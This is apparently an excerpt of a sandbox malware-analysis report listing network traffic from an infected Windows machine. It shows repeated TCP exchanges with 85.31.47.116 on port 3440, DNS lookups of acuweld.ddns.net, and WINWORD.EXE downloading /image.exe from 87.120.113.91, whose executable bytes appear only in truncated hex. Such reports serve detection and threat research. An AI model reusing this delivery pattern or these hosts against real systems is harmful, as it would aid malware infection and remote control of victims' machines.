Jan 7, 2025 13:28:08.871705055 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:09.781284094 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:09.869112015 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:10.782358885 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:10.828316927 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:11.783370018 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:11.869105101 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:12.782613039 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:12.822604895 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:13.784946918 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:13.869137049 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:14.785371065 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:14.869899988 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:15.786567926 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:15.869141102 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:16.788232088 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:16.869203091 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:17.787308931 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:17.869124889 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:18.787687063 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:18.869159937 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:19.788327932 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:19.869144917 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:20.789417982 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:20.846380949 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:21.790476084 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:21.869139910 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:22.790436983 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:22.871714115 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:23.790635109 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:23.869149923 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:24.791412115 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:24.963027954 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:25.792557001 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:25.869139910 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:26.793570995 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:26.869182110 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:27.793659925 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:27.869184017 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:28.793636084 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:28.869162083 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:29.794461012 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:29.871745110 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:30.795984030 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:30.965981960 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:31.796080112 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:31.869812012 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:32.796267986 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:32.963749886 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:33.796477079 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:33.871751070 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:34.797240973 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:34.963778019 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:35.798428059 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:35.871767044 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:36.799535036 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:36.869203091 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:37.800360918 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:37.871752977 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:38.801439047 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:38.869210005 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:39.801768064 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:39.869776011 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:40.803637981 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:40.966192007 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:41.803097963 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:41.869219065 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:42.803546906 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:42.965776920 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:43.804416895 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:43.869215965 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:44.805315018 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:44.869213104 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:45.805526018 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:45.871823072 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:46.806404114 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:46.860855103 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:47.806538105 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:47.869297028 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:48.806416035 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:48.963041067 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:49.807430983 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:49.869232893 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:50.811113119 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:50.967789888 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:51.808559895 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:51.871790886 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:52.811499119 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:52.869226933 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:53.811259985 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:53.869223118 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:54.811173916 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:54.967793941 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:55.811579943 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:55.871815920 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:56.812510014 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:56.869235039 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:57.815598011 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:57.869257927 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:58.813472033 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:58.869252920 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:28:59.816826105 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:28:59.869249105 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:00.814383984 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:00.869261026 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:01.666363955 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:01.666487932 CET	50034	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:01.666695118 CET	50035	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:01.666702032 CET	50036	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:01.666735888 CET	50037	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:01.666785955 CET	50038	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:01.671758890 CET	3440	50033	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:01.671849012 CET	50033	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:01.672373056 CET	3440	50034	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:01.672391891 CET	3440	50035	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:01.672418118 CET	3440	50036	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:01.672432899 CET	3440	50037	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:01.672446966 CET	3440	50038	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:01.672477007 CET	50035	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:01.672478914 CET	50034	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:01.672497034 CET	50036	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:01.672574997 CET	50038	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:01.672578096 CET	50037	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:05.708470106 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:05.713327885 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:05.713408947 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:05.713565111 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:05.718349934 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:06.319979906 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:06.320116997 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:06.324868917 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:06.493778944 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:06.494008064 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:06.498878956 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:06.498925924 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:06.503709078 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:06.790760994 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:06.790985107 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:06.795725107 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:06.795803070 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:06.800520897 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:07.086272001 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:07.214911938 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:07.215233088 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:07.219816923 CET	50040	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:07.224644899 CET	3440	50040	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:07.227926970 CET	50040	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:07.227984905 CET	50040	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:07.232774019 CET	3440	50040	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:07.814582109 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:07.854432106 CET	3440	50040	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:07.854659081 CET	50040	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:07.859421968 CET	3440	50040	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:07.869291067 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:08.032717943 CET	3440	50040	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:08.033740044 CET	50041	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:08.038558960 CET	3440	50041	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:08.038620949 CET	50041	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:08.038748980 CET	50041	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:08.043555021 CET	3440	50041	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:08.150528908 CET	50040	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:08.712290049 CET	3440	50041	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:08.712431908 CET	50041	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:08.717284918 CET	3440	50041	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:08.815483093 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:08.891544104 CET	3440	50041	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:08.892391920 CET	50042	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:08.897211075 CET	3440	50042	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:08.897293091 CET	50042	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:08.897444010 CET	50042	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:08.902934074 CET	3440	50042	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:08.963094950 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:08.963155985 CET	50041	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:09.503292084 CET	3440	50042	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:09.503634930 CET	50042	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:09.508526087 CET	3440	50042	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:09.675450087 CET	3440	50042	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:09.677906036 CET	50043	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:09.682849884 CET	3440	50043	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:09.685893059 CET	50043	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:09.686218023 CET	50043	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:09.690994978 CET	3440	50043	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:09.759922981 CET	50042	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:09.814893007 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:09.869307041 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:10.318964958 CET	3440	50043	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:10.319152117 CET	50043	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:10.323935032 CET	3440	50043	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:10.498548985 CET	3440	50043	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:10.499592066 CET	50044	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:10.504365921 CET	3440	50044	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:10.504420996 CET	50044	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:10.504566908 CET	50044	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:10.509279013 CET	3440	50044	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:10.650523901 CET	50043	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:10.815560102 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:10.869277954 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:11.101778030 CET	3440	50044	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:11.102057934 CET	50044	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:11.106873989 CET	3440	50044	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:11.272702932 CET	3440	50044	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:11.370929956 CET	50044	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:11.815705061 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:11.869398117 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:13.289015055 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:13.289091110 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:13.289217949 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:13.817534924 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:13.869309902 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:14.817737103 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:14.869460106 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:15.818689108 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:15.869319916 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:16.818763018 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:16.869299889 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:17.819780111 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:17.868268013 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:18.820115089 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:18.869333982 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:19.819832087 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:19.869307995 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:20.821006060 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:20.869319916 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:21.820611000 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:21.869352102 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:22.821080923 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:22.869311094 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:23.821623087 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:23.869864941 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:24.822794914 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:24.963064909 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:25.822614908 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:25.869317055 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:26.822832108 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:26.963074923 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:27.824203968 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:27.870815039 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:28.832909107 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:28.963089943 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:29.845326900 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:30.036549091 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:30.825920105 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:30.869349003 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:31.893486023 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:32.054321051 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:32.827608109 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:32.963228941 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:33.827658892 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:33.870729923 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:34.828799963 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:34.963136911 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:35.830734968 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:36.072474957 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:36.850931883 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:36.900614023 CET	50039	3440	192.168.2.4	85.31.47.116
Jan 7, 2025 13:29:37.829981089 CET	3440	50039	85.31.47.116	192.168.2.4
Jan 7, 2025 13:29:37.869389057 CET	50039	3440	192.168.2.4	85.31.47.116

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 13:25:44.788687944 CET	63424	53	192.168.2.4	1.1.1.1
Jan 7, 2025 13:25:44.797344923 CET	53	63424	1.1.1.1	192.168.2.4
Jan 7, 2025 13:26:51.495886087 CET	55829	53	192.168.2.4	1.1.1.1
Jan 7, 2025 13:26:51.512034893 CET	53	55829	1.1.1.1	192.168.2.4
Jan 7, 2025 13:27:58.449285984 CET	60177	53	192.168.2.4	1.1.1.1
Jan 7, 2025 13:27:59.408041000 CET	53	60177	1.1.1.1	192.168.2.4
Jan 7, 2025 13:29:05.698750019 CET	62322	53	192.168.2.4	1.1.1.1
Jan 7, 2025 13:29:05.707707882 CET	53	62322	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 7, 2025 13:25:44.788687944 CET	192.168.2.4	1.1.1.1	0x2416	Standard query (0)	acuweld.ddns.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 13:26:51.495886087 CET	192.168.2.4	1.1.1.1	0xc4e7	Standard query (0)	acuweld.ddns.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 13:27:58.449285984 CET	192.168.2.4	1.1.1.1	0xadfe	Standard query (0)	acuweld.ddns.net	A (IP address)	IN (0x0001)	false
Jan 7, 2025 13:29:05.698750019 CET	192.168.2.4	1.1.1.1	0x2d30	Standard query (0)	acuweld.ddns.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 7, 2025 13:25:44.797344923 CET	1.1.1.1	192.168.2.4	0x2416	No error (0)	acuweld.ddns.net	85.31.47.116	A (IP address)	IN (0x0001)	false
Jan 7, 2025 13:26:51.512034893 CET	1.1.1.1	192.168.2.4	0xc4e7	No error (0)	acuweld.ddns.net	85.31.47.116	A (IP address)	IN (0x0001)	false
Jan 7, 2025 13:27:59.408041000 CET	1.1.1.1	192.168.2.4	0xadfe	No error (0)	acuweld.ddns.net	85.31.47.116	A (IP address)	IN (0x0001)	false
Jan 7, 2025 13:29:05.707707882 CET	1.1.1.1	192.168.2.4	0x2d30	No error (0)	acuweld.ddns.net	85.31.47.116	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

87.120.113.91

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	87.120.113.91	80	7368	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 13:25:32.479782104 CET	180	OUT	GET /image.exe HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: en-ch User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: 87.120.113.91
Jan 7, 2025 13:25:33.099951029 CET	1236	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Mon, 06 Jan 2025 19:30:17 GMT Accept-Ranges: bytes ETag: "d6f8b96a7160db1:0" Server: Microsoft-IIS/8.5 Date: Tue, 07 Jan 2025 12:25:32 GMT Content-Length: 3184128 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 82 a9 57 d0 c6 c8 39 83 c6 c8 39 83 c6 c8 39 83 a9 be 92 83 c2 c8 39 83 dd 55 a7 83 d3 c8 39 83 cf b0 ba 83 c2 c8 39 83 cf b0 aa 83 cf c8 39 83 c6 c8 38 83 4b c8 39 83 dd 55 92 83 8d c8 39 83 dd 55 93 83 b6 c8 39 83 dd 55 a2 83 c7 c8 39 83 dd 55 a3 83 c7 c8 39 83 dd 55 a4 83 c7 c8 39 83 52 69 63 68 c6 c8 39 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 96 e5 36 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 10 03 00 00 0e 05 00 00 00 00 00 00 b0 30 00 00 10 00 00 00 20 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$W9999U9998K9U9U9U9U9U9Rich9PEL6g0 @0=1@0m @.rsrc@.idata @qgnauohf( (@luhkmkvw00@
Jan 7, 2025 13:25:33.100100040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 7, 2025 13:25:33.100111961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 7, 2025 13:25:33.100125074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 7, 2025 13:25:33.100136995 CET	896	IN	Data Raw: 1b 8f c9 ca 9a 24 06 3b 24 b6 05 c5 08 c4 c2 0d 1c 8f d2 32 14 d3 05 cf 68 c8 84 03 18 58 48 ce 1b a1 34 b6 22 7a 06 ce 9a 24 fb 40 65 34 f6 7f 1c 0c 85 c6 1c a1 d0 36 68 04 49 ce a2 01 16 e6 56 0c 34 b6 82 bd 06 ce 9a 50 fd 57 98 48 8c c5 ee 8f Data Ascii: $;$2hXH4"z$@e46hIV4PWHR+g}K'K4b+>V~8+QSYH\|u^\|};$S>WCYH+(8+&6HV8
